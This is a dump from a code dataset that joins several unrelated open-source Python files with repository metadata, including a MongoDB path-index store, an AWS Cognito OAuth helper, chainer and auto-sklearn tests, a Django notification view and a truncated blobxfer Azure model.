list(self.db["index"].find({"path": path}).limit(1)) if len(ret) == 1: return str(ret[0]["_id"]) raise FileNotFoundError("Path %s doesn't exist!" % path) return path # Object Functions def createObject(self, value, path): collection = self.__pathToCollection(path) return self.__createObject(value, collection) def __createObject(self, value, collection): if isinstance(value, str): value = json.loads(value) insert = self.db[collection].insert_one(value) return str(insert.inserted_id) def readObject(self, obj_id, path): collection = self.__pathToCollection(path) return self.__readObject(obj_id, collection) def __readObject(self, obj_id, collection): id = {} id["_id"] = ObjectId(obj_id) ret = list(self.db[collection].find(id).limit(1)) if len(ret) == 1: return ret[0] raise FileNotFoundError(obj_id + " at " + collection + " doesn't exist!") def updateObject(self, value, obj_id, path): collection = self.__pathToCollection(path) self.__updateObject(value, obj_id, collection) def __updateObject(self, value, obj_id, collection): if collection == "index": raise PermissionError("Index can't have its objects updated!") id = {} id["_id"] = ObjectId(obj_id) changes = {} if isinstance(value, str): changes["$set"] = json.loads(value) else: changes["$set"] = value self.db[collection].update(id,changes) def deleteObject(self, obj_id, path): collection = self.__pathToCollection(path) self.__deleteObject(obj_id, collection) def __deleteObject(self, obj_id, collection): if not(self.__objectExists(obj_id, collection)): raise FileNotFoundError(obj_id + " at " + collection + " doesn't exist!") if collection != "index" and self.hasPath(obj_id, collection): raise FileExistsError(obj_id + " at " + collection + " has a path!") id = {} id["_id"] = ObjectId(obj_id) self.db[collection].remove(id, True) def getObjects(self, path): if path == "/": collection = path else: collection = self.__getChild(path) if collection == None: return [] return self.__readCollection(collection) def objectExists(self, value, path): collection = self.__pathToCollection(path) return self.__objectExists(value, collection) def __objectExists(self, value, collection): if isinstance(value, str): if ObjectId.is_valid(value): value = {"_id": ObjectId(value)} else: value = json.loads(value) return bool(self.db[collection].count_documents(value, limit = 1)) def searchObject(self, value, path): collection = self.__pathToCollection(path) return self.__searchObject(value, collection) def __searchObject(self, value, collection): if collection == "index": raise PermissionError("Index isn't searchable!") if isinstance(value, str): value = json.loads(value) ret = list(self.db[collection].find(value).limit(1)) if len(ret) == 1: return ret[0] return None # Index Functions def getPath(self, obj_id, path): if not(path.endswith("/")): path += "/" return (path + obj_id) def __getPath(self, collection): if collection == "/": return collection parent = self.__readObject(collection, "index") return parent["path"] def hasPath(self, obj_id, path): value = {} if not(path.endswith("/")): path += "/" value["path"] = path + obj_id return self.__objectExists(value, "index") def isAncestor(self, obj_id, path=None): if path == None and self.__collectionExists(obj_id): path = self.__getPath(obj_id) else: path = self.__getChild(obj_id, path) if path == None: return False path = self.__getPath(path) path += "/" path = path.replace("/", "\/") value = {"path": {"$regex": path}} return self.__objectExists(value, "index") def createPath(self, obj_id, path): value = {} if not(path.endswith("/")): path += "/" value["path"] = path + obj_id if self.__objectExists(value, "index"): raise FileExistsError("%s already has a child!" % value["path"]) id = self.__createObject(value, "index") self.__createCollection(str(id)) return value["path"] def __getChild(self, obj_id, path=""): if path == "": path = obj_id else: if not(path.endswith("/")): path += "/" path += obj_id search = {} search["path"] = path ret = list(self.db["index"].find(search).limit(1)) if len(ret) == 1: return str(ret[0]["_id"]) return None def getChildren(self, obj_id, path): collection = self.__getChild(obj_id, path) if collection == None: return [] return self.__readCollection(collection) def deletePath(self, obj_id, path): child = self.__getChild(obj_id, path) if child == None: raise FileNotFoundError(obj_id + " at " + path + " doesn't have a child!") if self.isAncestor(child): raise FileExistsError(obj_id + " at " + path + " has descendants!") self.__deleteCollection(child) self.__deleteObject(child, "index") def getStructure(self, path="/"): if not(path.endswith("/")): path += "/" regex = path.replace("/", "\/") regex = regex + ".*" value = {"path": {"$regex": regex}} objects = self.db["index"].distinct("path", value) if objects: objects.sort(key=len) objects = [list(obj) for (i, obj) in itertools.groupby(objects, key=len)] def createStructure(objects, regex=""): if regex != "": regex = re.compile(regex) objects[0] = list(filter(regex.match, objects[0])) if not(objects[0]): return None ret = {} separator = len(objects[0][0]) - 24 if len(objects) == 1: for obj in objects[0]: ret[obj[separator:]] = None return ret for obj in objects[0]: ret[obj[separator:]] = createStructure(objects[1:], obj) return ret return createStructure(objects) return {}

27.289377

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0.023931

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0.019231

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null

0

null

0

1

0

6813a3ec63771ea2d7bc06478e9de5267ace0581

3,510

py

Python

src/flask_cognito_lib/services/cognito_svc.py

mblackgeo/flask-cognito-lib

4a58b5da33f67c77a0b16764b19761623368a04a

[ "MIT" ]

2

2022-03-24T16:07:55.000Z

2022-03-24T19:54:51.000Z

src/flask_cognito_lib/services/cognito_svc.py

mblackgeo/flask-cognito-lib

4a58b5da33f67c77a0b16764b19761623368a04a

[ "MIT" ]

1

2022-03-30T14:27:27.000Z

src/flask_cognito_lib/services/cognito_svc.py

mblackgeo/flask-cognito-lib

4a58b5da33f67c77a0b16764b19761623368a04a

[ "MIT" ]

null

from typing import List, Optional from urllib.parse import quote import requests from flask_cognito_lib.config import Config from flask_cognito_lib.exceptions import CognitoError from flask_cognito_lib.utils import CognitoTokenResponse class CognitoService: def __init__( self, cfg: Config, ): self.cfg = cfg def get_sign_in_url( self, code_challenge: str, state: str, nonce: str, scopes: Optional[List[str]] = None, ) -> str: """Generate a sign URL against the AUTHORIZE endpoint Parameters ---------- code_challenge : str A SHA256 hash of the code verifier used for this request. Note only S256 is support by AWS Cognito. state : str A random state string used for to prevent cross site request forgery nonce : str A random state string used for to prevent replay attacks scopes : Optional[List[str]] An optional list of system-reserved scopes or custom scopes that are associated with a client that can be requested. If the client doesn't request any scopes, the authentication server uses all scopes that are associated with the client. Returns ------- str A front channel login URL for the AWS Cognito AUTHORIZE endpoint """ quoted_redirect_url = quote(self.cfg.redirect_url) full_url = ( f"{self.cfg.authorize_endpoint}" f"?response_type=code" f"&client_id={self.cfg.user_pool_client_id}" f"&redirect_uri={quoted_redirect_url}" f"&state={state}" f"&nonce={nonce}" f"&code_challenge={code_challenge}" "&code_challenge_method=S256" ) if scopes is not None: full_url += f"&scope={'+'.join(scopes)}" return full_url def exchange_code_for_token( self, code: str, code_verifier: str, ) -> CognitoTokenResponse: """Exchange a short lived authorisation code for an access token Parameters ---------- code : str The authorisation code after the user has logged in at the Cognito UI code_verifier : str The plaintext code verification secret used as the code challenge when logging in Returns ------- CognitoTokenResponse A dataclass that holds the token response from Cognito Raises ------ CognitoError If the request to the endpoint fails If the endpoint returns an error code """ data = { "grant_type": "authorization_code", "client_id": self.cfg.user_pool_client_id, "redirect_uri": self.cfg.redirect_url, "code": code, "code_verifier": code_verifier, } try: response = requests.post( url=self.cfg.token_endpoint, data=data, auth=(self.cfg.user_pool_client_id, self.cfg.user_pool_client_secret), ) response_json = response.json() except requests.exceptions.RequestException as e: raise CognitoError(str(e)) from e if "error" in response_json: raise CognitoError(f"Cognito error : {response_json['error']}") return CognitoTokenResponse(**response_json)

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null

0

null

0

1

0

6814085ba3b5101a43dc38552f50112c1c0c2e6a

416

py

Python

tests/integration/test_shortcuts.py

ghga-de/datameta-client

f7900027af9d7d1eff23594de79e90e75baa123a

[ "Apache-2.0" ]

1

2021-07-20T12:59:09.000Z

tests/integration/test_shortcuts.py

ghga-de/datameta-client

f7900027af9d7d1eff23594de79e90e75baa123a

[ "Apache-2.0" ]

11

2021-03-17T20:27:27.000Z

2021-04-07T16:22:55.000Z

tests/integration/test_shortcuts.py

ghga-de/datameta-client

f7900027af9d7d1eff23594de79e90e75baa123a

[ "Apache-2.0" ]

null

from datameta_client import shortcuts from . import fixtures from .utils import id_in_response def test_prevalidate_and_submission(): metadataset_record = fixtures.replace_ID(fixtures.metadataset_record) response = shortcuts.stage_and_submit( metadatasets_json=metadataset_record, files_dir=fixtures.base_dir, label="test" ) assert id_in_response(response, has_site_id=True)

32

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null

0

null

0

1

0

6814a822d48a5aa8b28083b4ee3d22dfd048a7ac

1,468

py

Python

2016/day10/part2.py

ceronman/AdventOfCode2015

87b6d93df960045b5eff1ded107ac4e2719ee6e6

[ "MIT" ]

4

2019-12-03T02:03:23.000Z

2019-12-20T11:36:00.000Z

2016/day10/part2.py

ceronman/AdventOfCode2015

87b6d93df960045b5eff1ded107ac4e2719ee6e6

[ "MIT" ]

null

2016/day10/part2.py

ceronman/AdventOfCode2015

87b6d93df960045b5eff1ded107ac4e2719ee6e6

[ "MIT" ]

null

import re # input_lines = '''\ # value 5 goes to bot 2 # bot 2 gives low to bot 1 and high to bot 0 # value 3 goes to bot 1 # bot 1 gives low to output 1 and high to bot 0 # bot 0 gives low to output 2 and high to output 0 # value 2 goes to bot 2'''.splitlines() input_lines = open('input.txt') holders = { 'bot': {}, 'output': {} } give_commands = {} for line in input_lines: match = re.match((r'value (\d+) goes to bot (\d+)'), line) if match: value, bot_nr = match.groups() holders['bot'].setdefault(bot_nr, []).append(value) continue match = re.match(r'bot (\d+) gives low to (bot|output) ' r'(\d+) and high to (bot|output) (\d+)', line) if match: source, low_kind, low_nr, high_kind, high_nr = match.groups() give_commands[source] = (low_kind, low_nr, high_kind, high_nr) ready = [h for h in holders['bot'] if len(holders['bot'][h]) == 2 ] while ready: for bot_nr in ready: low_value, high_value = sorted(holders['bot'][bot_nr], key=int) low_kind, low_nr, high_kind, high_nr = give_commands[bot_nr] holders[low_kind].setdefault(low_nr, []).append(low_value) holders[high_kind].setdefault(high_nr, []).append(high_value) del holders['bot'][bot_nr] ready = [h for h in holders['bot'] if len(holders['bot'][h]) == 2 ] values = [ int(holders['output'][str(i)][0]) for i in range(3) ] print(values[0] * values[1] * values[2])

31.913043

71

0.61376

242

1,468

3.590909

0.210744

0.051784

0.041427

0.227848

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0.165708

0.094361

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1,468

46

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31.913043

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0

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false

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0.034483

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null

0

null

0

1

0

6818f1b4966a33a6d1d68e2fbd9d7dd04c95311a

1,429

py

Python

kinto_nexmo_verify/tests/__init__.py

Kinto/kinto-nexmo-verify

6532ec9b5df20b338aca40d8ab3178ccf6ca33db

[ "Apache-2.0" ]

null

kinto_nexmo_verify/tests/__init__.py

Kinto/kinto-nexmo-verify

6532ec9b5df20b338aca40d8ab3178ccf6ca33db

[ "Apache-2.0" ]

142

2019-10-25T06:57:58.000Z

2021-08-01T05:35:52.000Z

kinto_nexmo_verify/tests/__init__.py

Kinto/kinto-nexmo-verify

6532ec9b5df20b338aca40d8ab3178ccf6ca33db

[ "Apache-2.0" ]

1

2019-12-21T20:39:35.000Z

from unittest import mock class AuthenticationMockMixin(object): nexmo_verify_data = { "request_id": "9e59abbe98204a9ebe8a36101383ec20", "status": "0", } nexmo_cancel_data = {"status": "0", "command": "cancel"} nexmo_check_data = { "currency": "EUR", "event_id": "0C000000F2319FC0", "price": "0.10000000", "request_id": "9e59abbe98204a9ebe8a36101383ec20", "status": "0", } def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self._nexmo_patcher = mock.patch("kinto_nexmo_verify.views.requests") def setUp(self): super().setUp() self.nexmo_mock = self._nexmo_patcher.start() def tearDown(self): super().tearDown() self._nexmo_patcher.stop() def mock_nexmo_verify_call(self, verify_data=None): if verify_data is None: verify_data = self.nexmo_verify_data self.nexmo_mock.get.return_value.json.return_value = verify_data def mock_nexmo_check_call(self, check_data=None): if check_data is None: check_data = self.nexmo_check_data self.nexmo_mock.get.return_value.json.return_value = check_data def mock_nexmo_cancel_call(self, cancel_data=None): if cancel_data is None: cancel_data = self.nexmo_cancel_data self.nexmo_mock.get.return_value.json.return_value = cancel_data

31.065217

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0.654304

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1,429

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0.268041

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1,429

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31.755556

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false

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0.314286

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null

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null

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1

0

a838e1b948e05c5be4d5a837ad910541049964e0

1,173

py

Python

homeassistant/components/switch/elkm1.py

dauden1184/home-assistant

f4c6d389b77d0efa86644e76604eaea5d21abdb5

[ "Apache-2.0" ]

4

2019-01-10T14:47:54.000Z

2021-04-22T02:06:27.000Z

homeassistant/components/switch/elkm1.py

dauden1184/home-assistant

f4c6d389b77d0efa86644e76604eaea5d21abdb5

[ "Apache-2.0" ]

6

2021-02-08T21:02:40.000Z

2022-03-12T00:52:16.000Z

homeassistant/components/switch/elkm1.py

dauden1184/home-assistant

f4c6d389b77d0efa86644e76604eaea5d21abdb5

[ "Apache-2.0" ]

3

2018-08-29T19:26:20.000Z

2020-01-19T11:58:22.000Z

""" Support for control of ElkM1 outputs (relays). For more details about this platform, please refer to the documentation at https://home-assistant.io/components/switch.elkm1/ """ from homeassistant.components.elkm1 import ( DOMAIN as ELK_DOMAIN, ElkEntity, create_elk_entities) from homeassistant.components.switch import SwitchDevice DEPENDENCIES = [ELK_DOMAIN] async def async_setup_platform(hass, config, async_add_entities, discovery_info=None): """Create the Elk-M1 switch platform.""" if discovery_info is None: return elk = hass.data[ELK_DOMAIN]['elk'] entities = create_elk_entities(hass, elk.outputs, 'output', ElkOutput, []) async_add_entities(entities, True) class ElkOutput(ElkEntity, SwitchDevice): """Elk output as switch.""" @property def is_on(self) -> bool: """Get the current output status.""" return self._element.output_on async def async_turn_on(self, **kwargs): """Turn on the output.""" self._element.turn_on(0) async def async_turn_off(self, **kwargs): """Turn off the output.""" self._element.turn_off()

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0

null

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null

0

1

0

a8390ab76fff1e3d90e5baeb2c77717ef34b9218

2,467

py

Python

addons/blender-skeletal-motion-animate/__init__.py

trisadmeslek/V-Sekai-Blender-tools

0d8747387c58584b50c69c61ba50a881319114f8

[ "MIT" ]

null

addons/blender-skeletal-motion-animate/__init__.py

trisadmeslek/V-Sekai-Blender-tools

0d8747387c58584b50c69c61ba50a881319114f8

[ "MIT" ]

null

addons/blender-skeletal-motion-animate/__init__.py

trisadmeslek/V-Sekai-Blender-tools

0d8747387c58584b50c69c61ba50a881319114f8

[ "MIT" ]

null

# Important plugin info for Blender bl_info = { 'name': 'Skeletal Pose Transfer for Blender', 'author': 'K. S. Ernest (iFire) Lee', 'category': 'Animation', 'location': 'View 3D > Tool Shelf > Skeletal Pose Transfer', 'description': 'Ttransfer skeletal pose animations', 'version': (1, 2, 1), 'blender': (2, 80, 0), } beta_branch = False # If first startup of this plugin, load all modules normally # If reloading the plugin, use importlib to reload modules # This lets you do adjustments to the plugin on the fly without having to restart Blender import sys if "bpy" not in locals(): import bpy from . import core from . import panels from . import operators from . import properties else: import importlib importlib.reload(core) importlib.reload(panels) importlib.reload(operators) importlib.reload(properties) classes_always_enable = [ # These non-panels will always be loaded, all non-panel ui should go in here panels.retargeting.RetargetingPanel, panels.info.InfoPanel, operators.detector.DetectFaceShapes, operators.detector.DetectActorBones, operators.detector.SaveCustomBonesRetargeting, operators.detector.ImportCustomBones, operators.detector.ExportCustomBones, operators.detector.ClearCustomBones, operators.detector.ClearCustomShapes, operators.actor.InitTPose, operators.actor.ResetTPose, operators.actor.PrintCurrentPose, operators.retargeting.RenameVRMBones, operators.retargeting.RenameVRMBonesStandard, operators.retargeting.BuildBoneList, operators.retargeting.ClearBoneList, operators.retargeting.RetargetAnimation, panels.retargeting.RSL_UL_BoneList, panels.retargeting.BoneListItem, operators.info.LicenseButton, ] # register and unregister all classes def register(): # Register classes for cls in classes_always_enable: bpy.utils.register_class(cls) # Register all custom properties properties.register() # Load custom icons core.icon_manager.load_icons() # Load bone detection list core.detection_manager.load_detection_lists() def unregister(): # Unregister all classes for cls in reversed(classes_always_enable): try: bpy.utils.unregister_class(cls) except RuntimeError: pass # Unload all custom icons core.icon_manager.unload_icons() if __name__ == '__main__': register()

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null

0

null

0

1

0

a839d82c096389366f2dfe418b713be6aa4af0af

7,278

py

Python

tests/chainer_tests/functions_tests/normalization_tests/test_l2_normalization.py

dydo0316/test2

a9982a8b426dd07eb1ec4e7695a7bc546ecc6063

[ "MIT" ]

null

tests/chainer_tests/functions_tests/normalization_tests/test_l2_normalization.py

dydo0316/test2

a9982a8b426dd07eb1ec4e7695a7bc546ecc6063

[ "MIT" ]

2

2018-01-09T23:05:30.000Z

2018-01-19T01:19:34.000Z

tests/chainer_tests/functions_tests/normalization_tests/test_l2_normalization.py

dydo0316/test2

a9982a8b426dd07eb1ec4e7695a7bc546ecc6063

[ "MIT" ]

null

import functools import unittest import itertools import numpy import six import chainer from chainer.backends import cuda from chainer import functions from chainer import gradient_check from chainer import testing from chainer.testing import attr def _skip_if(cond, reason): """Skip test if cond(self) is True""" def decorator(impl): @functools.wraps(impl) def wrapper(self, *args, **kwargs): if cond(self): raise unittest.SkipTest(reason) else: impl(self, *args, **kwargs) return wrapper return decorator def _is_good_param(param): # Check if 'nonzero' param is valid and meaningful. On the latter point, # x should contain at least a zero if 'nonzeros' param is given. return param['nonzeros'] is None \ or param['nonzeros'] < numpy.prod(param['shape']) @testing.parameterize(*filter(_is_good_param, testing.product([ [ {'dtype': numpy.float16}, {'dtype': numpy.float32}, {'dtype': numpy.float64}, ], [ {'shape': (4, 15), 'axis': 1}, {'shape': (4,), 'axis': 0}, {'shape': (4, 3, 2, 5), 'axis': 0}, {'shape': (4, 3, 2, 5), 'axis': 1}, {'shape': (4, 3, 2, 5), 'axis': 2}, {'shape': (4, 3, 2, 5), 'axis': 3}, {'shape': (4, 3, 2), 'axis': (0, 1)}, {'shape': (4, 3, 2, 4, 3, 2, 2), 'axis': (1, 4, 3, 6)}, {'shape': (0, 2), 'axis': 1}, {'shape': (), 'axis': ()}, ], [ # nonzeros (optional int): number of nonzero elems in input # truezero (bool): flag whether zero elems are exactly zero. If false, # randomly-chosen small values are used. {'eps': 1e-5, 'nonzeros': None}, {'eps': 1e-1, 'nonzeros': None}, {'eps': 1e-1, 'nonzeros': 0, 'truezero': True}, {'eps': 1e-1, 'nonzeros': 0, 'truezero': False}, {'eps': 1e-1, 'nonzeros': 2, 'truezero': True}, {'eps': 1e-1, 'nonzeros': 2, 'truezero': False}, ], ]))) class TestL2Normalization(unittest.TestCase): def setUp(self): self.x = chainer.utils.force_array( numpy.random.uniform(0.1, 1, self.shape) * (1 - 2 * numpy.random.randint(2, size=self.shape)), self.dtype) if self.nonzeros is not None: # Make self.x have limited number of large values # get mask of indices to modify at zeros = self.x.size - self.nonzeros while True: rand = numpy.random.uniform(0, 1, self.shape) mask = rand <= numpy.sort(rand.ravel())[zeros - 1] if self.x[mask].shape == (zeros,): break # set zeros or small values to a part of the input if self.truezero: self.x[mask] = 0 else: zero_scale = 10. ** numpy.random.randint(-40, -3) self.x[mask] = numpy.random.uniform( -zero_scale, zero_scale, zeros) self.gy = numpy.random.uniform(-1, 1, self.shape).astype(self.dtype) self.ggx = numpy.random.uniform( -1, 1, self.shape).astype(self.dtype) if self.dtype == numpy.float16: self.check_forward_options = {'atol': 1e-3, 'rtol': 1e-3} else: self.check_forward_options = {} if self.nonzeros is None: if self.dtype == numpy.float16: self.check_backward_options = { 'dtype': numpy.float64, 'atol': 5e-3, 'rtol': 5e-3} self.check_double_backward_options = { 'dtype': numpy.float64, 'atol': 1e-2, 'rtol': 1e-2} else: self.check_backward_options = { 'dtype': numpy.float64, 'atol': 1e-4, 'rtol': 1e-4} self.check_double_backward_options = { 'dtype': numpy.float64, 'atol': 1e-4, 'rtol': 1e-4} else: self.check_backward_options = { 'dtype': numpy.float64, 'atol': 1e-2, 'rtol': 1e-2, 'eps': 1e-4} self.check_backward_options = { 'dtype': numpy.float64, 'atol': 1e-2, 'rtol': 1e-2, 'eps': 1e-4} def check_forward(self, x_data, axis): eps = self.eps x = chainer.Variable(x_data) y = functions.normalize(x, eps=eps, axis=axis) self.assertEqual(y.data.dtype, self.dtype) y_data = cuda.to_cpu(y.data) y_expect = numpy.empty_like(self.x) shape = self.x.shape indices = [] axis_tuple = axis if isinstance(axis, tuple) else (axis,) for i in six.moves.range(len(shape)): if i not in axis_tuple: indices.append(six.moves.range(shape[i])) else: indices.append([slice(None)]) indices_tuple = list(itertools.product(*indices)) for index in indices_tuple: # Note: Casting back the result of `numpy.linalg.norm` to `x.dtype` # because old NumPy casts it to float32 when a float16 value is # given. numerator = numpy.linalg.norm(self.x[index]).astype(x.dtype) + eps y_expect[index] = self.x[index] / numerator testing.assert_allclose(y_expect, y_data, **self.check_forward_options) def test_forward_cpu(self): self.check_forward(self.x, self.axis) @attr.gpu def test_forward_gpu(self): self.check_forward(cuda.to_gpu(self.x), self.axis) def check_backward(self, x_data, axis, y_grad): def f(x): return functions.normalize(x, eps=self.eps, axis=axis) gradient_check.check_backward( f, x_data, y_grad, **self.check_backward_options) def test_backward_cpu(self): self.check_backward(self.x, self.axis, self.gy) @attr.gpu def test_backward_gpu(self): self.check_backward( cuda.to_gpu(self.x), self.axis, cuda.to_gpu(self.gy)) @_skip_if( lambda self: self.nonzeros is not None, 'backward of L2Normalize is non-differentiable at zero vector') def check_double_backward(self, x_data, axis, y_grad, x_grad_grad): def f(x): return functions.normalize(x, eps=self.eps, axis=axis) gradient_check.check_double_backward( f, x_data, y_grad, x_grad_grad, **self.check_double_backward_options) def test_double_backward_cpu(self): self.check_double_backward(self.x, self.axis, self.gy, self.ggx) @attr.gpu def test_double_backward_gpu(self): self.check_double_backward( cuda.to_gpu(self.x), self.axis, cuda.to_gpu(self.gy), cuda.to_gpu(self.ggx)) def check_eps(self, x_data): x = chainer.Variable(x_data) y = functions.normalize(x, axis=self.axis) self.assertEqual(y.data.dtype, self.dtype) y_data = cuda.to_cpu(y.data) y_expect = numpy.zeros_like(self.x) testing.assert_allclose(y_expect, y_data) def test_eps_cpu(self): self.check_eps(numpy.zeros_like(self.x)) @attr.gpu def test_eps_gpu(self): self.check_eps(cuda.to_gpu(numpy.zeros_like(self.x))) testing.run_module(__name__, __file__)

35.330097

79

0.570212

963

7,278

4.173416

0.190031

0.028614

0.025877

0.011943

0.41677

0.348594

0.290371

0.22941

0.210251

0.189848

0

0.027253

0.294174

7,278

205

80

35.502439

0.75511

0.082578

0

0.23125

0

0.056448

0

0.025

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0.11875

false

0

0.06875

0.01875

0.225

0

null

0

null

0

1

0

a83be5082f23ba079872c2b2be55b119af1a7aaf

956

py

Python

test/test_pipeline/components/classification/test_xgradient_boosting.py

tuggeluk/auto-sklearn

202918e5641701c696b995039d06bfec81973cc6

[ "BSD-3-Clause" ]

null

test/test_pipeline/components/classification/test_xgradient_boosting.py

tuggeluk/auto-sklearn

202918e5641701c696b995039d06bfec81973cc6

[ "BSD-3-Clause" ]

null

test/test_pipeline/components/classification/test_xgradient_boosting.py

tuggeluk/auto-sklearn

202918e5641701c696b995039d06bfec81973cc6

[ "BSD-3-Clause" ]

null

import autosklearn.pipeline.implementations.xgb from autosklearn.pipeline.components.classification.xgradient_boosting import \ XGradientBoostingClassifier from .test_base import BaseClassificationComponentTest class XGradientBoostingComponentTest(BaseClassificationComponentTest): __test__ = True res = dict() res["default_iris"] = 0.94 res["iris_n_calls"] = 6 res["default_iris_iterative"] = 0.94 res["default_iris_proba"] = 0.1512353178486228 res["default_iris_sparse"] = 0.74 res["default_digits"] = 0.8160291438979964 res["digits_n_calls"] = 7 res["default_digits_iterative"] = 0.8160291438979964 res["default_digits_binary"] = 0.9823922282938676 res["default_digits_multilabel"] = 0.88 res["default_digits_multilabel_proba"] = 0.88 res['ignore_hps'] = ['n_estimators'] sk_mod = autosklearn.pipeline.implementations.xgb.CustomXGBClassifier module = XGradientBoostingClassifier

34.142857

79

0.759414

103

956

6.757282

0.436893

0.12931

0.114943

0.106322

0

0.103532

0.141213

956

27

80

35.407407

0.744214

0

0.24477

0.128661

0

1

0

false

0

0.142857

0

0.380952

0

null

0

null

0

1

0

a83cb39550575518f70701df5178e9726847ad82

2,267

py

Python

coursereg/views/notifications.py

s-gv/bheemboy

b35c6611739b6df517cb1bb642fa6d46cf1b246e

[ "MIT" ]

null

coursereg/views/notifications.py

s-gv/bheemboy

b35c6611739b6df517cb1bb642fa6d46cf1b246e

[ "MIT" ]

105

2016-05-07T05:54:28.000Z

2016-12-30T13:47:13.000Z

coursereg/views/notifications.py

s-gv/bheemboy

b35c6611739b6df517cb1bb642fa6d46cf1b246e

[ "MIT" ]

4

2016-05-29T14:00:33.000Z

2020-09-30T17:16:02.000Z

from django.shortcuts import render, redirect from django.core.urlresolvers import reverse from django.http import HttpResponse from django.contrib.auth.decorators import login_required from django.contrib.auth import authenticate, login, logout from django.contrib import messages from datetime import timedelta from coursereg import models from django.core.mail import send_mail from django.core.exceptions import PermissionDenied from django.views.decorators.http import require_POST @require_POST @login_required def dismiss(request): user = models.User.objects.get(id=request.POST['id']) if not user: raise PermissionDenied if request.user.user_type == models.User.USER_TYPE_STUDENT: if not user == request.user: raise PermissionDenied models.Notification.objects.filter(user=user).update(is_student_acknowledged=True) if request.user.user_type == models.User.USER_TYPE_DCC: if not user.department == request.user.department: raise PermissionDenied models.Notification.objects.filter(user=user).update(is_dcc_acknowledged=True) elif request.user.user_type == models.User.USER_TYPE_FACULTY: if not user.adviser == request.user: raise PermissionDenied models.Notification.objects.filter(user=user).update(is_adviser_acknowledged=True) return redirect(request.POST.get('next', reverse('coursereg:index'))) @require_POST @login_required def notify(request): if not request.user.user_type == models.User.USER_TYPE_DCC: raise PermissionDenied user = models.User.objects.get(id=request.POST['id']) if not user or user.department != request.user.department: raise PermissionDenied user.is_dcc_review_pending = True user.is_dcc_sent_notification = True user.save() models.Notification.objects.create( user=user, origin=models.Notification.ORIGIN_DCC, message=request.POST['message'], ) try: send_mail('Coursereg notification', request.POST['message'], settings.DEFAULT_FROM_EMAIL, [user.email, user.adviser.email]) except: messages.warning(request, 'Error sending e-mail. But a notification has been created on this website.') return redirect(request.POST.get('next', reverse('coursereg:index')))

45.34

131

0.758271

296

2,267

5.689189

0.277027

0.057007

0.045131

0.434086

0.402019

0.347981

0.32601

0.191211

0

0.146008

2,267

49

132

46.265306

0.869835

0

0.212766

0

0.067049

0

1

0.042553

false

0

0.234043

0

0.319149

0

null

0

null

0

1

0

a83e03a5805d48d1783c453a34cd624c971c7012

484

py

Python

LeetCode/add_binary.py

milkrong/Basic-Python-DS-Algs

e3accd22d8cf25546f33883aac634a9bfe108b34

[ "MIT" ]

null

LeetCode/add_binary.py

milkrong/Basic-Python-DS-Algs

e3accd22d8cf25546f33883aac634a9bfe108b34

[ "MIT" ]

null

LeetCode/add_binary.py

milkrong/Basic-Python-DS-Algs

e3accd22d8cf25546f33883aac634a9bfe108b34

[ "MIT" ]

null

def add_binary(a, b): ''' :param a: str :param b: str :return: str ''' result = '' index = 0 carry = '0' while index < max(len(a), len(b)) or carry == '1': num_a = a[-1 - index] if index < len(a) else '0' num_b = b[-1 - index] if index < len(b) else '0' val = int(num_a) + int(num_b) + int(carry) result = "%s%s" % (val % 2, result) carry = '1' if val > 1 else '0' index += 1 return result

20.166667

56

0.464876

76

484

2.894737

0.315789

0.068182

0.072727

0.118182

0.145455

0

0.038961

0.363636

484

23

57

21.043478

0.675325

0.082645

0

0.023923

0

1

0.083333

false

0

0.166667

0

null

0

null

0

1

0

a83ef76f0db9af649a83f2eb68ffddc1dd292b97

15,732

py

Python

blobxfer/models/azure.py

amishra-dev/blobxfer

ce226392f0ede609a0a82d7b9c0e3a959e1e089f

[ "MIT" ]

147

2016-07-27T06:24:38.000Z

2022-03-12T05:43:30.000Z

blobxfer/models/azure.py

amishra-dev/blobxfer

ce226392f0ede609a0a82d7b9c0e3a959e1e089f

[ "MIT" ]

127

2016-09-01T08:06:51.000Z

2022-02-18T02:52:42.000Z

blobxfer/models/azure.py

amishra-dev/blobxfer

ce226392f0ede609a0a82d7b9c0e3a959e1e089f

[ "MIT" ]

47

2016-07-25T16:19:01.000Z

2022-01-25T17:59:49.000Z

# Copyright (c) Microsoft Corporation # # All rights reserved. # # MIT License # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. # stdlib imports import enum import pathlib # non-stdlib imports from azure.storage.blob.models import _BlobTypes as BlobTypes # local imports import blobxfer.models.metadata import blobxfer.util # enums class StorageModes(enum.Enum): Auto = 10 Append = 20 Block = 30 File = 40 Page = 50 class StorageEntity(object): """Azure Storage Entity""" def __init__(self, container, ed=None): # type: (StorageEntity, str # blobxfer.models.crypto.EncryptionMetadata) -> None """Ctor for StorageEntity :param StorageEntity self: this :param str container: container name :param blobxfer.models.crypto.EncryptionMetadata ed: encryption metadata """ self._can_create_containers = None self._client = None self._container = container self._name = None self._mode = None self._lmt = None self._size = None self._snapshot = None self._md5 = None self._cache_control = None self._encryption = ed self._from_local = False self._append_create = True self._vio = None self._fileattr = None self._raw_metadata = None self._access_tier = None self._content_type = None self._is_arbitrary_url = False self.replica_targets = None @property def can_create_containers(self): # type: (StorageEntity) -> bool """Create containers :param StorageEntity self: this :rtype: bool :return: create containers """ return self._can_create_containers @property def client(self): # type: (StorageEntity) -> object """Associated storage client :param StorageEntity self: this :rtype: object :return: associated storage client """ return self._client @property def container(self): # type: (StorageEntity) -> str """Container name :param StorageEntity self: this :rtype: str :return: name of container or file share """ return self._container @property def name(self): # type: (StorageEntity) -> str """Entity name :param StorageEntity self: this :rtype: str :return: name of entity """ return self._name @property def path(self): # type: (StorageEntity) -> str """Entity path :param StorageEntity self: this :rtype: str :return: remote path of entity """ if self._is_arbitrary_url: return 